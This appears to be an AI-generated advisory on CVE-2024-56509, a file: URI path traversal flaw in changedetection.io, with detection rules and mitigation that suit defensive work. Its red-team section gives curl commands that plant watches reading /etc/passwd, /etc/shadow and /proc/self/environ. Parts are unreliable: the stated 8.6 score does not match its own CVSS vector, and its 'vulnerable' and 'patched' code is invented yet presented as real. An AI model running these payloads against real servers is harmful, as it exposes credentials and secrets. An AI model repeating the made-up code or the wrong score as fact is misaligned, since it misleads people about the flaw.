CVE-2024-56509

Executive Summary

CVE-2024-56509 is a critical path traversal vulnerability in changedetection.io, a popular open-source web page change detection and monitoring service. The vulnerability allows an unauthenticated attacker to perform Local File Read (LFR) by exploiting improper input validation when the application constructs file paths from user-supplied URIs. Attackers can use payloads such as file:../../../etc/passwd or file: ///etc/passwd to bypass weak sanitization and read arbitrary files on the server. This is a bypass of a previous incomplete fix. The CVSS score is 8.6 (High), and while the EPSS score is currently 0.0%, the public availability of PoC details and the nature of the application (monitoring arbitrary URLs) make this a high-priority target for threat actors.

Supply Chain & Package Security

changedetection.io is a Python-based application distributed via PyPI and Docker. The vulnerability exists in the core application logic, not in a dependency. However, users should verify the integrity of their installation and ensure they are running version 0.48.05 or later. The package is widely used in CI/CD pipelines and monitoring stacks, making it a potential supply chain risk if compromised.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation, lack of authentication requirements, and the potential to read sensitive files such as configuration files, credentials, and application secrets.

Deep Dive & Mechanics

The vulnerability resides in the URL processing logic of changedetection.io. The application accepts user-supplied URLs to monitor for changes. When a URL uses the file: scheme, the application attempts to read the local file. The previous patch attempted to block simple path traversal patterns but failed to account for variations such as:

• file:../../../etc/passwd (missing double slash)
• file: ///etc/passwd (extra spaces/slashes)

The core issue is that the input validation does not normalize the URI before checking for traversal sequences. The application may strip the file:// prefix but then fail to sanitize the remaining path, allowing ../ sequences to escape the intended directory.

The vulnerable code path likely looks like:

# Vulnerable pseudo-code
def get_file_content(url):
    if url.startswith('file://'):
        path = url[7:]  # Remove file:// prefix
        # Insufficient check
        if '..' in path:
            raise Exception("Invalid path")
        with open(path, 'r') as f:
            return f.read()

The bypass works because:

1. file:../../../etc/passwd does not start with file://, so the prefix removal logic is not triggered.
2. file: ///etc/passwd may be normalized differently by the OS or Python's open() function.

Vulnerable vs. Patched Code

Vulnerable (pre-0.48.05):

def read_file_from_uri(uri):
    # Weak check
    if uri.startswith('file://'):
        path = uri[7:]
        if '..' in path:
            raise ValueError("Path traversal detected")
        return open(path).read()
    # No handling for file: without //
    return None

Patched (0.48.05):

import urllib.parse
import os

def read_file_from_uri(uri):
    parsed = urllib.parse.urlparse(uri)
    if parsed.scheme == 'file':
        path = parsed.path
        # Normalize and validate
        normalized = os.path.normpath(path)
        if not normalized.startswith('/allowed/directory/'):
            raise ValueError("Access denied")
        return open(normalized).read()
    return None

The patched version uses proper URI parsing and path normalization to prevent traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of changedetection.io (version < 0.48.05)
• Network access to the target

Exploitation Steps:

1. Identify the target application (e.g., http://target:5000).
2. Send a request to add a new watch with a malicious file: URI.

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -d '{"url": "file:../../../etc/passwd", "name": "test"}'

3. Retrieve the watch content to read the file.

curl http://target:5000/api/v1/watch/<watch_id>/history/latest

Alternative payloads:

• file: ///etc/passwd
• file:../../../../etc/shadow
• file:../../../../proc/self/environ

Blue Team

Detection:

• Monitor for POST requests to /api/v1/watch with url parameters containing file:.
• Alert on any file: scheme usage in application logs.
• Check for outbound connections to unexpected IPs (though this is a local read, not RCE).

Hunting:

• Search logs for patterns like file:, file://, or .. in URL fields.
• Review recent watch additions for suspicious file paths.

Lab Setup:

# Docker setup for testing
docker run -d -p 5000:5000 --name changedetection-vuln ghcr.io/changedetection.io/changedetection.io:0.48.04

Indicators of Compromise (IOCs)

• Network: HTTP requests containing file: in the URL parameter.
• Logs: Application logs showing file: scheme usage.
• File System: Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Process: changedetection process reading sensitive files (detectable via auditd).

Example IOC (Sigma rule trigger):

• Event: Process access to /etc/passwd by changedetection process.

Detection Engineering

YARA Rule

rule CVE_2024_56509_Changedetection_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against changedetection.io CVE-2024-56509"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-56509"
    strings:
        $file_scheme = /file:\/{0,2}\.{2}\//
        $traversal = /\.\.\/[^\/]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56509 Changedetection.io Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts via file: scheme in changedetection.io
author: Valters IT
logsource:
    category: webserver
    product: changedetection
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/watch'
        cs-uri-query|contains: 'file:'
    condition: selection
falsepositives:
    - Legitimate use of file: scheme (if allowed by policy)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56509 Changedetection.io Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/watch"; http_uri; content:"file:"; http_client_body; pcre:"/file:\/{0,2}\.{2}\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to changedetection.io version 0.48.05 or later.
2. If upgrade is not possible, block file: scheme requests at the reverse proxy (e.g., Nginx, Apache).

Nginx mitigation example:

if ($request_body ~* "file:") {
    return 403;
}

Long-term:

• Implement strict input validation for all URI schemes.
• Use a whitelist of allowed schemes (e.g., http, https only).
• Apply the principle of least privilege to the application process.
• Monitor for similar bypass attempts in future patches.

Valters IT signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.